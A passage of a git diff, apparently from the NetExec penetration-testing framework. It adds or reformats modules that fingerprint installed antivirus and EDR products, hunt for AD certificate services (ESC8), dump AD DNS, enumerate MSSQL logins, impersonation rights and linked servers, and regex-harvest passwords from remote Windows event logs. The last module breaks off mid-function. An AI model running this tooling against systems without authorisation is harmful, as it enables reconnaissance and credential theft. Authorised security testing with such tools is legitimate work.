context.log.highlight(out)
for item, data in results.items():
message = f"Found {item}"
if "services" in data:
message += " INSTALLED"
if "pipes" in data:
message += " and RUNNING"
elif "pipes" in data:
message += " RUNNING"
context.log.highlight(message)
class LsaLookupNames:
@@ -121,7 +116,8 @@ class LsaLookupNames:
username="",
password="",
remote_name="",
k=False,
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -132,11 +128,12 @@ class LsaLookupNames:
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = k
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.dcHost = kdcHost
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,9 +143,10 @@ class LsaLookupNames:
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplemented("String binding must be defined")
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -160,14 +158,13 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
@@ -197,81 +194,73 @@ class LsaLookupNames:
request["PolicyHandle"] = policyHandle
request["Count"] = 1
name1 = RPC_UNICODE_STRING()
name1["Data"] = "NT Service\{}".format(service)
name1["Data"] = f"NT Service\\{service}"
request["Names"].append(name1)
request["TranslatedSids"]["Sids"] = NULL
request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
resp = dce.request(request)
return resp
return dce.request(request)
conf = {
"products": [
{
"name": "Acronis Cyber Protect Active Protection",
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Bitdefender",
"services": [
{
"name": "bdredline_agent",
"description": "Bitdefender Agent RedLine Service",
},
{"name": "bdredline_agent", "description": "Bitdefender Agent RedLine Service"},
{"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
{
"name": "UPDATESRV",
"description": "Bitdefender Desktop Update Service",
},
{"name": "UPDATESRV", "description": "Bitdefender Desktop Update Service"},
{"name": "VSSERV", "description": "Bitdefender Virus Shield"},
{"name": "bdredline", "description": "Bitdefender RedLine Service"},
{"name": "EPRedline", "description": "Bitdefender Endpoint Redline Service"},
{"name": "EPUpdateService", "description": "Bitdefender Endpoint Update Service"},
{"name": "EPSecurityService", "description": "Bitdefender Endpoint Security Service"},
{"name": "EPProtectedService", "description": "Bitdefender Endpoint Protected Service"},
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"},
{"name": "EPIntegrationService", "description": "Bitdefender Endpoint Integration Service"}
],
"pipes": [
{
"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe",
"processes": ["EPConsole.exe"],
},
{
"name": "etw_sensor_pipe_ppl",
"processes": ["EPProtectedService.exe"],
},
{
"name": "local\\msgbus\\antitracker.low\\*",
"processes": ["bdagent.exe"],
},
{
"name": "local\\msgbus\\aspam.actions.low\\*",
"processes": ["bdagent.exe"],
},
{
"name": "local\\msgbus\\bd.process.broker.pipe",
"processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
},
{"name": "\\bdConnector\\ServiceControl\\EPSecurityService.exe", "processes": ["EPConsole.exe"]},
{"name": "etw_sensor_pipe_ppl", "processes": ["EPProtectedService.exe"]},
{"name": "local\\msgbus\\antitracker.low\\*", "processes": ["bdagent.exe"]},
{"name": "local\\msgbus\\aspam.actions.low\\*", "processes": ["bdagent.exe"]},
{"name": "local\\msgbus\\bd.process.broker.pipe", "processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"]},
{"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
{
"name": "local\\msgbus\\bdauxsrv",
"processes": ["bdagent.exe", "bdntwrk.exe"],
},
],
{"name": "local\\msgbus\\bdauxsrv", "processes": ["bdagent.exe", "bdntwrk.exe"]}
]
},
{
"name": "Windows Defender",
"name": "Carbon Black App Control",
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": []
},
{
"name": "CrowdStrike",
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{
"name": "WinDefend",
"description": "Windows Defender Antivirus Service",
},
{
"name": "Sense",
"description": "Windows Defender Advanced Threat Protection Service",
},
{
"name": "WdNisSvc",
"description": "Windows Defender Antivirus Network Inspection Service",
},
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": [],
"pipes": []
},
{
"name": "Cybereason",
"services": [
{"name": "CybereasonActiveProbe", "description": "Cybereason Active Probe"},
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
{"name": "CybereasonBlocki", "description": "Cybereason Execution Prevention"}
],
"pipes": [
{"name": "CybereasonAPConsoleMinionHostIpc_*", "processes": ["minionhost.exe"]},
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "ESET",
@@ -280,274 +269,153 @@ conf = {
{"name": "epfw", "description": "ESET"},
{"name": "epfwlwf", "description": "ESET"},
{"name": "epfwwfp", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
{"name": "ERAAgent", "description": "ESET Management Agent service"},
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "CrowdStrike",
"name": "G DATA Security Client",
"services": [
{
"name": "CSFalconService",
"description": "CrowdStrike Falcon Sensor Service",
}
{"name": "AVKWCtl", "description": "Anti-virus Kit Window Control"},
{"name": "AVKProxy", "description": "G Data AntiVirus Proxy Service"},
{"name": "GDScan", "description": "GDSG Data AntiVirus Scan Service"}
],
"pipes": [
{
"name": "CrowdStrike\\{*",
"processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
}
],
{"name": "exploitProtectionIPC", "processes": ["AVKWCtlx64.exe"]}
]
},
{
"name": "SentinelOne",
"name": "Ivanti Security",
"services": [
{
"name": "SentinelAgent",
"description": "SentinelOne Endpoint Protection Agent",
},
{
"name": "SentinelStaticEngine",
"description": "Manage static engines for SentinelOne Endpoint Protection",
},
{
"name": "LogProcessorService",
"description": "Manage logs for SentinelOne Endpoint Protection",
},
],
"pipes": [
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
],
},
{
"name": "Carbon Black App Control",
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": [],
},
{
"name": "Cybereason",
"services": [
{
"name": "CybereasonActiveProbe",
"description": "Cybereason Active Probe",
},
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
{
"name": "CybereasonBlocki",
"description": "Cybereason Execution Prevention",
},
],
"pipes": [
{
"name": "CybereasonAPConsoleMinionHostIpc_*",
"processes": ["minionhost.exe"],
},
{
"name": "CybereasonAPServerProxyIpc_*",
"processes": ["minionhost.exe"],
},
{"name": "STAgent$Shavlik Protect", "description": "Ivanti Security Controls Agent"},
{"name": "STDispatch$Shavlik Protect", "description": "Ivanti Security Controls Agent Dispatcher"}
],
"pipes": []
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
{
"name": "kavfsslp",
"description": "Kaspersky Security Exploit Prevention Service",
},
{
"name": "KAVFS",
"description": "Kaspersky Security Service",
},
{
"name": "KAVFSGT",
"description": "Kaspersky Security Management Service",
},
{
"name": "klnagent",
"description": "Kaspersky Security Center",
},
{"name": "kavfsslp", "description": "Kaspersky Security Exploit Prevention Service"},
{"name": "KAVFS", "description": "Kaspersky Security Service"},
{"name": "KAVFSGT", "description": "Kaspersky Security Management Service"},
{"name": "klnagent", "description": "Kaspersky Security Center"}
],
"pipes": [
{
"name": "Exploit_Blocker",
"processes": ["kavfswh.exe"],
},
],
},
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"name": "Panda Adaptive Defense 360",
"services": [
{
"name": "Trend Micro Endpoint Basecamp",
"description": "Trend Micro Endpoint Basecamp",
},
{
"name": "TMBMServer",
"description": "Trend Micro Unauthorized Change Prevention Service",
},
{
"name": "Trend Micro Web Service Communicator",
"description": "Trend Micro Web Service Communicator",
},
{
"name": "TMiACAgentSvc",
"description": "Trend Micro Application Control Service (Agent)",
},
{
"name": "CETASvc",
"description": "Trend Micro Cloud Endpoint Telemetry Service",
},
{
"name": "iVPAgent",
"description": "Trend Micro Vulnerability Protection Service (Agent)",
}
{"name": "PandaAetherAgent", "description": "Panda Endpoint Agent"},
{"name": "PSUAService", "description": "Panda Product Service"},
{"name": "NanoServiceMain", "description": "Panda Cloud Antivirus Service"}
],
"pipes": [
{
"name": "IPC_XBC_XBC_AGENT_PIPE_*",
"processes": ["EndpointBasecamp.exe"],
},
{
"name": "iacagent_*",
"processes": ["TMiACAgentSvc.exe"],
},
{
"name": "OIPC_LWCS_PIPE_*",
"processes": ["TmListen.exe"],
},
{
"name": "Log_ServerNamePipe",
"processes": ["LogServer.exe"],
},
{
"name": "OIPC_NTRTSCAN_PIPE_*",
"processes": ["Ntrtscan.exe"],
},
{"name": "NNS_API_IPC_SRV_ENDPOINT", "processes": ["PSANHost.exe"]},
{"name": "PSANMSrvcPpal", "processes": ["PSUAService.exe"]}
]
},
{
"name": "SentinelOne",
"services": [
{"name": "SentinelAgent", "description": "SentinelOne Endpoint Protection Agent"},
{"name": "SentinelStaticEngine", "description": "Manage static engines for SentinelOne Endpoint Protection"},
{"name": "LogProcessorService", "description": "Manage logs for SentinelOne Endpoint Protection"}
],
},
"pipes": [
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{
"name": "SepMasterService",
"description": "Symantec Endpoint Protection",
},
{
"name": "SepScanService",
"description": "Symantec Endpoint Protection Scan Services",
},
{"name": "SNAC", "description": "Symantec Network Access Control"},
{"name": "SepMasterService", "description": "Symantec Endpoint Protection"},
{"name": "SepScanService", "description": "Symantec Endpoint Protection Scan Services"},
{"name": "SNAC", "description": "Symantec Network Access Control"}
],
"pipes": [],
"pipes": []
},
{
"name": "Rapid7",
"services": [{"name": "ir_agent", "description": "Rapid7 Insight Agent"}],
"pipes": []
},
{
"name": "Sophos Intercept X",
"services": [
{
"name": "SntpService",
"description": "Sophos Network Threat Protection"
},
{
"name": "Sophos Endpoint Defense Service",
"description": "Sophos Endpoint Defense Service"
},
{
"name": "Sophos File Scanner Service",
"description": "Sophos File Scanner Service"
},
{
"name": "Sophos Health Service",
"description": "Sophos Health Service"
},
{
"name": "Sophos Live Query",
"description": "Sophos Live Query"
},
{
"name": "Sophos Managed Threat Response",
"description": "Sophos Managed Threat Response"
},
{
"name": "Sophos MCS Agent",
"description": "Sophos MCS Agent"
},
{
"name": "Sophos MCS Client",
"description": "Sophos MCS Client"
},
{
"name": "Sophos System Protection Service",
"description": "Sophos System Protection Service"
}
{"name": "SntpService", "description": "Sophos Network Threat Protection"},
{"name": "Sophos Endpoint Defense Service", "description": "Sophos Endpoint Defense Service"},
{"name": "Sophos File Scanner Service", "description": "Sophos File Scanner Service"},
{"name": "Sophos Health Service", "description": "Sophos Health Service"},
{"name": "Sophos Live Query", "description": "Sophos Live Query"},
{"name": "Sophos Managed Threat Response", "description": "Sophos Managed Threat Response"},
{"name": "Sophos MCS Agent", "description": "Sophos MCS Agent"},
{"name": "Sophos MCS Client", "description": "Sophos MCS Client"},
{"name": "Sophos System Protection Service", "description": "Sophos System Protection Service"}
],
"pipes": [
{"name": "SophosUI", "processes": [""]},
{"name": "SophosEventStore", "processes": [""]},
{"name": "sophos_deviceencryption", "processes": [""]},
{"name": "sophoslivequery_*", "processes": [""]},
],
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "G DATA Security Client",
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
{
"name": "AVKWCtl",
"description": "Anti-virus Kit Window Control",
},
{
"name": "AVKProxy",
"description": "G Data AntiVirus Proxy Service"
},
{
"name": "GDScan",
"description": "GDSG Data AntiVirus Scan Service",
},
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
{"name": "mfemactl", "description": "Trellix Management Service"},
{"name": "mfemms", "description": "McAfee Management Service"},
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
{
"name": "exploitProtectionIPC",
"processes": ["AVKWCtlx64.exe"],
},
],
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"name": "Trend Micro Endpoint Security",
"services": [
{
"name": "PandaAetherAgent",
"description": "Panda Endpoint Agent",
},
{
"name": "PSUAService",
"description": "Panda Product Service"
},
{
"name": "NanoServiceMain",
"description": "Panda Cloud Antivirus Service",
},
{"name": "Trend Micro Endpoint Basecamp", "description": "Trend Micro Endpoint Basecamp"},
{"name": "TMBMServer", "description": "Trend Micro Unauthorized Change Prevention Service"},
{"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
{"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
{"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
{"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
{"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
{"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
{"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
],
"pipes": [
{
"name": "NNS_API_IPC_SRV_ENDPOINT",
"processes": ["PSANHost.exe"],
},
{
"name": "PSANMSrvcPpal",
"processes": ["PSUAService.exe"],
},
{"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
{"name": "iacagent_*", "processes": ["TMiACAgentSvc.exe"]},
{"name": "OIPC_LWCS_PIPE_*", "processes": ["TmListen.exe"]},
{"name": "Log_ServerNamePipe", "processes": ["LogServer.exe"]},
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Windows Defender",
"services": [
{"name": "WinDefend", "description": "Windows Defender Antivirus Service"},
{"name": "Sense", "description": "Windows Defender Advanced Threat Protection Service"},
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
}
]
}
+107
View File
@@ -0,0 +1,107 @@
from impacket.dcerpc.v5 import transport, epm
from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
class NXCModule:
"""
-------
Module by @0xjbb, original code from Impacket rpcdump.py
"""
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
593: {"bindstr": r"ncacn_http:%s"}
}
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.__username = connection.username
self.__password = connection.password
self.__domain = connection.domain
self.__lmhash = ""
self.__nthash = ""
self.__port = 135.
self.__stringbinding = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
if self.__port in [139, 445]:
# Setting credentials for SMB
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.__port)
elif self.__port == 443:
# Setting credentials only for RPC Proxy, but not for the MSRPC level
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
rpctransport.setRemoteHost(connection.host)
try:
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
RPC_PROXY_CONN_A1_404_ERR in error_text or \
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
context.log.debug(f"EXEs {exename}")
if exename == "certsrv.exe":
context.log.highlight("Active Directory Certificate Services Found.")
url = f"http://{connection.host}/certsrv/certfnsh.asp"
context.log.highlight(url)
try:
response = requests.get(url, timeout=5)
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
context.log.highlight("Web enrollment found on HTTP (ESC8).")
except requests.RequestException as e:
context.log.debug(e)
return
def __fetchList(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
return resp
+8 -17
View File
@@ -1,8 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.paths import NXC_PATH
class NXCModule:
@@ -14,8 +12,6 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -23,9 +19,7 @@ class NXCModule:
self.domains = None
def options(self, context, module_options):
"""
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
"""
"""DOMAIN Domain to enumerate DNS for. Defaults to all zones."""
self.domains = None
if module_options and "DOMAIN" in module_options:
self.domains = module_options["DOMAIN"]
@@ -34,15 +28,12 @@ class NXCModule:
if not self.domains:
domains = []
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
if output:
for result in output:
domains.append(result["Name"]["value"])
context.log.success("Domains retrieved: {}".format(domains))
domains = [result["Name"]["value"] for result in output] if output else []
context.log.success(f"Domains retrieved: {domains}")
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
@@ -58,7 +49,7 @@ class NXCModule:
rname = text.split(" ")[0]
rtype = text.split(" ")[2]
rvalue = " ".join(text.split(" ")[3:])
if domain_data.get(rtype, False):
if domain_data.get(rtype):
domain_data[rtype].append(f"{rname}: {rvalue}")
else:
domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -70,6 +61,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = "DNS-Enum-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+45
View File
@@ -0,0 +1,45 @@
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
+51
View File
@@ -0,0 +1,51 @@
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
+83
View File
@@ -0,0 +1,83 @@
class NXCModule:
"""
Enumerate SQL Server logins (SQL, Domain, Local users)
Module by deathflamingo, modified by mpgn
"""
name = "enum_logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.display("Enumerated logins")
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
for login_name, login_type, status in logins:
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
else:
self.context.log.fail("No logins found.")
def get_domain_name(self) -> str:
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
try:
res = self.mssql_conn.sql_query(query)
if res and res[0].get("domain_name"):
return res[0]["domain_name"].upper()
return ""
except Exception as e:
self.context.log.debug(f"Error querying domain name: {e}")
return ""
def get_logins(self) -> list:
domain_name = self.get_domain_name()
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
name,
type,
type_desc,
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
END
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
ELSE type_desc
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
"""
try:
res = self.mssql_conn.sql_query(query)
if res:
logins = []
for login in res:
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
logins.append((login["name"], login["login_type"], status))
return logins
return []
except Exception as e:
self.context.log.fail(f"Error querying logins: {e}")
return []
def options(self, context, module_options):
pass
+17
View File
@@ -0,0 +1,17 @@
class NXCModule:
"""
Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
Module by Brandon Fisher @shad0wcntr0ller
"""
name = "enum_trusts"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
def options(self, context, module_options):
pass
def on_login(self, context, connection):
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
+222
View File
@@ -0,0 +1,222 @@
import re
from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
class NXCModule:
"""
Module by @lodos2005
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
def __init__(self):
self.context = None
self.module_options = None
self.method = "execute"
self.limit = None
def options(self, context, module_options):
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
L Alias for LIMIT
"""
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "M" in module_options:
self.method = module_options["M"]
if "LIMIT" in module_options:
self.limit = int(module_options["LIMIT"])
if "L" in module_options:
self.limit = int(module_options["L"])
def find_credentials(self, content, context):
# remove unnecessary words
content = content.replace("\r\n", "\n")
# sort and unique lines
content = "\n".join(sorted(set(content.split("\n"))))
regexps = [
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
# generic username on command line
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
# generic password on command line
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
]
# Extracting credentials
for line in content.split("\n"):
for reg in regexps:
# Remove unnecessary words
line_stripped = line.replace("/add", "") \
.replace("/active:yes", "") \
.replace("/delete", "") \
.replace("/domain", "") \
# Remove command lines that were executed with nxc
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
# Use regex to find credentials
match = re.search(reg, line_stripped, re.IGNORECASE)
if match:
# eleminate false positives
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
